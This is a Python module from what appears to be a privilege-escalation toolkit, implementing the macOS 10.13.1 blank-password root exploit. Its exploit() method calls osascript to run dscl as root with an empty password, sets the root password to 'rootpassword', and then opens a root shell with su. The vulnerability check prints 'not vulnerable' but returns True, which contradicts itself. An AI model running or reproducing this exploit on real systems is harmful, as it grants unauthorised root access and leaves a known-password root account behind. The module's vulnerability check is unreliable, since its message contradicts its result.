from exploits.exploit import MacExploit
from src.kernels import KernelWindow
from constants import *

# hacky rebind of input so we can use existing input() code for python2 and python3
try:
	input = raw_input
except NameError:
	pass


class NULLROOT(MacExploit):
	def __init__(self, playground_path=PLAYGROUND_PATH):
		MacExploit.__init__(self)
		self.name = "NULLROOT"
		self.formatted_name = "Null Root"
		self.e_type = "mac"
		self.brief_desc = "root without password and no root account = root"
		self.reliability = HIGH_RELIABILITY
		self.vulnerable_base = KernelWindow(GENERIC_MAC, BASE_VULNERABLE, 10, 13, 1, 10, 13, 1)
		self.vulnerable_kernels = [
			KernelWindow(GENERIC_MAC, VERSION_VULNERABLE, 10, 13, 1, 10, 13, 1)
		]
		self.exploit_kernels = [
			KernelWindow(GENERIC_MAC, EXPLOIT_AVAILABLE, 10, 13, 1, 10, 13, 1)
		]
		self.architecture = ARCHITECTURE_GENERIC
		self.playground_path = playground_path
		self.source_c_path = os.path.join(self.playground_path, "{}.c".format(self.name))
		self.compilation_path = os.path.join(self.playground_path, self.name)
		self.exploit_command = "python {}.py".format(self.compilation_path)

	def determine_vulnerability(self):
		color_print("\t[*] checking exploitation prerequisites for {}".format(self.name), color="blue")
		# if kernel matches...it should be vulnerable
		color_print("\t[-] system appears not to be vulnerable to {}".format(self.name), color="red")
		return True

	def exploit(self):
		"""
		We need to override base exploit because we're running a python script, not compiling C source
		"""
		perform_exploitation = str(
			input("Would you like to run exploit {} on this system? (y/n): ".format(self.name)))
		if "y" in perform_exploitation.lower():
			color_print("\t[*] performing exploitation of {}".format(self.name))
			color_print("\t[*] {}".format(self.exploit_command))
			try:

				create_root = ["/usr/bin/osascript", "-e",
							   'do shell script "dscl . -passwd /Users/root rootpassword" user name "root" password "" with administrator privileges']
				print("[*] creating root account")
				subprocess.call(create_root)
				print("[*] changing root account password to 'rootpassword'")
				subprocess.call(create_root)
				print("[*] getting a root shell for you (enter 'rootpassword' when prompted)")
				subprocess.call("su")
			except Exception as e:
				self.exploit_failure("exploitation interrupted")
				self.exploit_failure(e)
		else:
			self.exploit_failure("canceled execution of exploit {}".format(self.name))